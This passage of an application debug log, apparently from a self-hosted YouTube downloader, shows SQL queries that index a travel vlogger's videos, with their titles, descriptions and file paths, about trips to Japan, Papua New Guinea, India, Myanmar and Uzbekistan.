10% off your first month of therapy and join the millions of people taking steps to improve their mental health.\n\nOnce again we delve into the lesser explored side of a new country and this time we're in JAPAAAAAAAN. This was my first time visiting Japan. It wasn't as Japanese as I thought it was going to be. Does that make sense. Anyway. What was I talking about? Ah yes. Japan. Heres an AI written description that is supposed to be good for SEO or something. It's got Japan written into it like 200 time. Japan Japan Japan. We get it! \n\nI left Tokyo with nothing but a backpack and a cardboard sign, hitchhiking along Japan's lesser-known Pacific coastline in search of the real Japan that social media never shows you. From the hidden tea plantations of Makinohara — where unemployed samurai became farmers after Japan's Meiji Revolution — to the beaches, backroads, and local izakayas that tourists never reach, this is rural Japan completely off the beaten path. But the biggest surprise? Deep in the Japanese city of Hamamatsu lies a community of 25,000 Brazilians — one of the largest outside of Brazil itself — who came to work Japan's factories and never left. This is Japan like you've never seen it: raw, unexpected, and completely unfiltered. If you're interested in Japan travel, Japanese culture, hidden Japan, rural Japan, Japan off the beaten path, hitchhiking Japan, or simply the side of Japan that doesn't exist on Instagram — this video is for you. Part 1 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "The Japan The Algorithm Is Hiding From You", "fae7c3c4-64e2-460d-803d-0f8855c8d123", "zrYwOAJrViI", 2747, false, "https://www.youtube.com/watch?v=zrYwOAJrViI", 9, "/downloads/shows/Mike Okay/Season 2026/s2026e041000 - The Japan The Algorithm Is Hiding From You.mp4", false, false, false, 3, [], 98, ~U[2026-04-10 16:12:23Z], ~U[2026-08-20 00:27:24Z], ~U[2026-08-20 00:27:24Z], "Go to my sponsor https://betterhelp.com/mikeokay to get 10% off your first month of therapy and join the millions of people taking steps to improve their mental health.\n\nOnce again we delve into the lesser explored side of a new country and this time we're in JAPAAAAAAAN. This was my first time visiting Japan. It wasn't as Japanese as I thought it was going to be. Does that make sense. Anyway. What was I talking about? Ah yes. Japan. Heres an AI written description that is supposed to be good for SEO or something. It's got Japan written into it like 200 time. Japan Japan Japan. We get it! \n\nI left Tokyo with nothing but a backpack and a cardboard sign, hitchhiking along Japan's lesser-known Pacific coastline in search of the real Japan that social media never shows you. From the hidden tea plantations of Makinohara — where unemployed samurai became farmers after Japan's Meiji Revolution — to the beaches, backroads, and local izakayas that tourists never reach, this is rural Japan completely off the beaten path. But the biggest surprise? Deep in the Japanese city of Hamamatsu lies a community of 25,000 Brazilians — one of the largest outside of Brazil itself — who came to work Japan's factories and never left. This is Japan like you've never seen it: raw, unexpected, and completely unfiltered. If you're interested in Japan travel, Japanese culture, hidden Japan, rural Japan, Japan off the beaten path, hitchhiking Japan, or simply the side of Japan that doesn't exist on Instagram — this video is for you. Part 1 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "The Japan The Algorithm Is Hiding From You", "zrYwOAJrViI", 2747, false, "https://www.youtube.com/watch?v=zrYwOAJrViI", "/downloads/shows/Mike Okay/Season 2026/s2026e041000 - The Japan The Algorithm Is Hiding From You.mp4", false, 3, ~U[2026-04-10 16:12:23Z]] 17:27:24.967 [debug] QUERY OK source="sources" db=0.2ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:24.967 [debug] QUERY OK source="media_items" db=0.1ms idle=2.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-27 20:18:27Z], 3] 17:27:24.968 [debug] QUERY OK source="media_items" db=0.6ms idle=2.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nI very very rarely s*it my pants. This was one of those times. Please enjoy the last of the Papua New Guinea Series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "How To Get Robbed By Machete-Wielding Road Bandits", "8a2011ac-9cd8-4c73-9462-e3fc18b7917c", "RZ925LRWI0M", 2836, false, "https://www.youtube.com/watch?v=RZ925LRWI0M", 10, "/downloads/shows/Mike Okay/Season 2026/s2026e032700 - How To Get Robbed By Machete-Wielding Road Bandits.mp4", false, false, false, 3, [], 98, ~U[2026-03-27 20:18:27Z], ~U[2026-08-20 00:27:24Z], ~U[2026-08-20 00:27:24Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nI very very rarely s*it my pants. This was one of those times. Please enjoy the last of the Papua New Guinea Series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "How To Get Robbed By Machete-Wielding Road Bandits", "RZ925LRWI0M", 2836, false, "https://www.youtube.com/watch?v=RZ925LRWI0M", "/downloads/shows/Mike Okay/Season 2026/s2026e032700 - How To Get Robbed By Machete-Wielding Road Bandits.mp4", false, 3, ~U[2026-03-27 20:18:27Z]] 17:27:24.968 [debug] QUERY OK source="sources" db=0.1ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:24.969 [debug] QUERY OK source="media_items" db=0.2ms idle=2.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-13 17:17:03Z], 3] 17:27:24.970 [debug] QUERY OK source="media_items" db=0.6ms idle=2.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["At the port in Wewak, hundreds of passengers were waiting to board one of Papua New Guinea’s coastal ships, one of the only affordable ways to travel between remote towns. With no guarantee of getting on, I waited until the very last moment… and somehow managed to secure a spot.\n\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I Survived 24 Hours on Papua New Guinea’s Wildest Ship", "aaa89351-a2f9-40d7-afcd-2cc1049613f5", "Xt-ikXQ-UxE", 1815, false, "https://www.youtube.com/watch?v=Xt-ikXQ-UxE", 11, "/downloads/shows/Mike Okay/Season 2026/s2026e031300 - I Survived 24 Hours on Papua New Guinea’s Wildest Ship.mp4", false, false, false, 3, [], 98, ~U[2026-03-13 17:17:03Z], ~U[2026-08-20 00:27:24Z], ~U[2026-08-20 00:27:24Z], "At the port in Wewak, hundreds of passengers were waiting to board one of Papua New Guinea’s coastal ships, one of the only affordable ways to travel between remote towns. With no guarantee of getting on, I waited until the very last moment… and somehow managed to secure a spot.\n\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I Survived 24 Hours on Papua New Guinea’s Wildest Ship", "Xt-ikXQ-UxE", 1815, false, "https://www.youtube.com/watch?v=Xt-ikXQ-UxE", "/downloads/shows/Mike Okay/Season 2026/s2026e031300 - I Survived 24 Hours on Papua New Guinea’s Wildest Ship.mp4", false, 3, ~U[2026-03-13 17:17:03Z]] 17:27:24.970 [debug] QUERY OK source="sources" db=0.1ms idle=2.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:24.970 [debug] QUERY OK source="media_items" db=0.2ms idle=2.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-06 15:05:17Z], 3] 17:27:24.971 [debug] QUERY OK source="media_items" db=0.7ms idle=2.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you to The Papua New Guinea History Project for providing some of the music in this video:\n\nhttps://youtu.be/Gv7MW6IsKnE?si=w8AVgQCWGte3lPpc\n\n\nI travelled along Papua New Guinea's isolated coastline, a place where the jungle still hides relics from World War II. During the war, more than 100,000 Japanese soldiers were stationed in Papua New Guinea, and some of the fiercest fighting of the Pacific campaign took place along this very coast.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I've Never Travelled Somewhere Like This (Remote PNG)", "47381037-05e1-4bc7-8ccb-12bbce1e61d6", "xNeD65kGXlU", 2626, false, "https://www.youtube.com/watch?v=xNeD65kGXlU", 12, "/downloads/shows/Mike Okay/Season 2026/s2026e030600 - I've Never Travelled Somewhere Like This (Remote PNG).mp4", false, false, false, 3, [], 98, ~U[2026-03-06 15:05:17Z], ~U[2026-08-20 00:27:24Z], ~U[2026-08-20 00:27:24Z], "Thank you to The Papua New Guinea History Project for providing some of the music in this video:\n\nhttps://youtu.be/Gv7MW6IsKnE?si=w8AVgQCWGte3lPpc\n\n\nI travelled along Papua New Guinea's isolated coastline, a place where the jungle still hides relics from World War II. During the war, more than 100,000 Japanese soldiers were stationed in Papua New Guinea, and some of the fiercest fighting of the Pacific campaign took place along this very coast.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I've Never Travelled Somewhere Like This (Remote PNG)", "xNeD65kGXlU", 2626, false, "https://www.youtube.com/watch?v=xNeD65kGXlU", "/downloads/shows/Mike Okay/Season 2026/s2026e030600 - I've Never Travelled Somewhere Like This (Remote PNG).mp4", false, 3, ~U[2026-03-06 15:05:17Z]] 17:27:24.972 [debug] QUERY OK source="sources" db=0.1ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:24.972 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-27 15:04:44Z], 3] 17:27:24.973 [debug] QUERY OK source="media_items" db=0.7ms idle=2.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Not a lot can prepare you for Papua New Guinea. Especially when you enter the country overland from Indonesia with absolutely no plan.\n\nIn this video, I cross the Indonesia–Papua New Guinea border alone and head to Vanimo, my first stop inside PNG. With zero itinerary and no idea what to expect, I dive straight into life on the ground from smashing beers and betel nut to navigating unpredictable first encounters in a town that doesn’t slow down for anyone.\n\nThis is my first day in Papua New Guinea, and it didn’t go the way I imagined.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "Entering Papua New Guinea Alone in 2026", "8a23d1fd-2c16-4beb-9a93-6fd222d2e40c", "sVlpZ6zLXh4", 1993, false, "https://www.youtube.com/watch?v=sVlpZ6zLXh4", 13, "/downloads/shows/Mike Okay/Season 2026/s2026e022700 - Entering Papua New Guinea Alone in 2026.mp4", false, false, false, 3, [], 98, ~U[2026-02-27 15:04:44Z], ~U[2026-08-20 00:27:24Z], ~U[2026-08-20 00:27:24Z], "Not a lot can prepare you for Papua New Guinea. Especially when you enter the country overland from Indonesia with absolutely no plan.\n\nIn this video, I cross the Indonesia–Papua New Guinea border alone and head to Vanimo, my first stop inside PNG. With zero itinerary and no idea what to expect, I dive straight into life on the ground from smashing beers and betel nut to navigating unpredictable first encounters in a town that doesn’t slow down for anyone.\n\nThis is my first day in Papua New Guinea, and it didn’t go the way I imagined.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "Entering Papua New Guinea Alone in 2026", "sVlpZ6zLXh4", 1993, false, "https://www.youtube.com/watch?v=sVlpZ6zLXh4", "/downloads/shows/Mike Okay/Season 2026/s2026e022700 - Entering Papua New Guinea Alone in 2026.mp4", false, 3, ~U[2026-02-27 15:04:44Z]] 17:27:24.974 [debug] QUERY OK source="sources" db=0.1ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:24.974 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-31 14:53:48Z], 3] 17:27:24.979 [debug] QUERY OK source="media_items" db=4.7ms idle=2.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nPlease subscribe to Renny's Channel he is nearly at 100k! - https://www.youtube.com/@UCTC2TdtxGyqkJuyGJELvFEA \n\nLook. I get it. Is india perfect? No. But, is anywhere? And what kind of world would we be living in if everywhere was the same. \n\nAnd I get its not for everyone. But I like it there. And if even one person can watch this video and go to india because of it. Ill consider this a success.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#india #vlog #travel", "They're Lying to You About India...", "dd4b529e-26bb-47e9-9e76-d89834b464e1", "W4ZERiu8IMs", 2973, false, "https://www.youtube.com/watch?v=W4ZERiu8IMs", 14, "/downloads/shows/Mike Okay/Season 2026/s2026e013100 - They're Lying to You About India....mp4", false, false, false, 3, [], 98, ~U[2026-01-31 14:53:48Z], ~U[2026-08-20 00:27:24Z], ~U[2026-08-20 00:27:24Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nPlease subscribe to Renny's Channel he is nearly at 100k! - https://www.youtube.com/@UCTC2TdtxGyqkJuyGJELvFEA \n\nLook. I get it. Is india perfect? No. But, is anywhere? And what kind of world would we be living in if everywhere was the same. \n\nAnd I get its not for everyone. But I like it there. And if even one person can watch this video and go to india because of it. Ill consider this a success.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#india #vlog #travel", "They're Lying to You About India...", "W4ZERiu8IMs", 2973, false, "https://www.youtube.com/watch?v=W4ZERiu8IMs", "/downloads/shows/Mike Okay/Season 2026/s2026e013100 - They're Lying to You About India....mp4", false, 3, ~U[2026-01-31 14:53:48Z]] 17:27:24.979 [debug] QUERY OK source="sources" db=0.1ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:24.980 [debug] QUERY OK source="media_items" db=0.2ms idle=6.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-22 16:12:19Z], 3] 17:27:24.981 [debug] QUERY OK source="media_items" db=0.7ms idle=6.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Check out Roving's Channel Here! https://www.youtube.com/@UCxjeFUx3OfDGYGjG8Nh6PzQ \n\nThe India–Myanmar border was not drawn by local communities. It was a British imperial boundary, formalised in the 19th and early 20th centuries, primarily for administrative convenience and strategic control.\n\nCome with me as I travel to the very edge of India. To see what life is like on this fascinating border\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#myanmar #india #border", "Overnight on Myanmar's Forbidden Border", "73a7bab1-43b1-4edf-92a3-7205d5e1581c", "bBxtc-Tskto", 2343, false, "https://www.youtube.com/watch?v=bBxtc-Tskto", 15, "/downloads/shows/Mike Okay/Season 2026/s2026e012200 - Overnight on Myanmar's Forbidden Border.mp4", false, false, false, 3, [], 98, ~U[2026-01-22 16:12:19Z], ~U[2026-08-20 00:27:24Z], ~U[2026-08-20 00:27:24Z], "Check out Roving's Channel Here! https://www.youtube.com/@UCxjeFUx3OfDGYGjG8Nh6PzQ \n\nThe India–Myanmar border was not drawn by local communities. It was a British imperial boundary, formalised in the 19th and early 20th centuries, primarily for administrative convenience and strategic control.\n\nCome with me as I travel to the very edge of India. To see what life is like on this fascinating border\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#myanmar #india #border", "Overnight on Myanmar's Forbidden Border", "bBxtc-Tskto", 2343, false, "https://www.youtube.com/watch?v=bBxtc-Tskto", "/downloads/shows/Mike Okay/Season 2026/s2026e012200 - Overnight on Myanmar's Forbidden Border.mp4", false, 3, ~U[2026-01-22 16:12:19Z]] 17:27:24.981 [debug] QUERY OK source="sources" db=0.2ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:27:24.982 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-19 16:34:02Z], 3] 17:27:24.983 [debug] QUERY OK source="media_items" db=0.7ms idle=2.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nQudrats insta - https://www.instagram.com/qudratreyimov/\n\nKarakalpakstan is a region most people have never heard of.. yet it was once legally allowed to become its own country...\n\nThanks to the wonderful team who turned my crazy Airalo ad idea to a reality in one day\nhttps://www.instagram.com/bahoaaa/\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#uzbekistan #sovietunion #travel", "Inside the Country that Almost Existed", "2a3fb208-87e4-4f50-9f8b-551869c01621", "oiGyXylltRE", 1857, false, "https://www.youtube.com/watch?v=oiGyXylltRE", 16, "/downloads/shows/Mike Okay/Season 2025/s2025e121900 - Inside the Country that Almost Existed.mp4", false, false, false, 3, [], 98, ~U[2025-12-19 16:34:02Z], ~U[2026-08-20 00:27:24Z], ~U[2026-08-20 00:27:24Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nQudrats insta - https://www.instagram.com/qudratreyimov/\n\nKarakalpakstan is a region most people have never heard of.. yet it was once legally allowed to become its own country...\n\nThanks to the wonderful team who turned my crazy Airalo ad idea to a reality in one day\nhttps://www.instagram.com/bahoaaa/\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#uzbekistan #sovietunion #travel", "Inside the Country that Almost Existed", "oiGyXylltRE", 1857, false, "https://www.youtube.com/watch?v=oiGyXylltRE", "/downloads/shows/Mike Okay/Season 2025/s2025e121900 - Inside the Country that Almost Existed.mp4", false, 3, ~U[2025-12-19 16:34:02Z]] 17:27:24.983 [debug] QUERY OK source="sources" db=0.2ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", 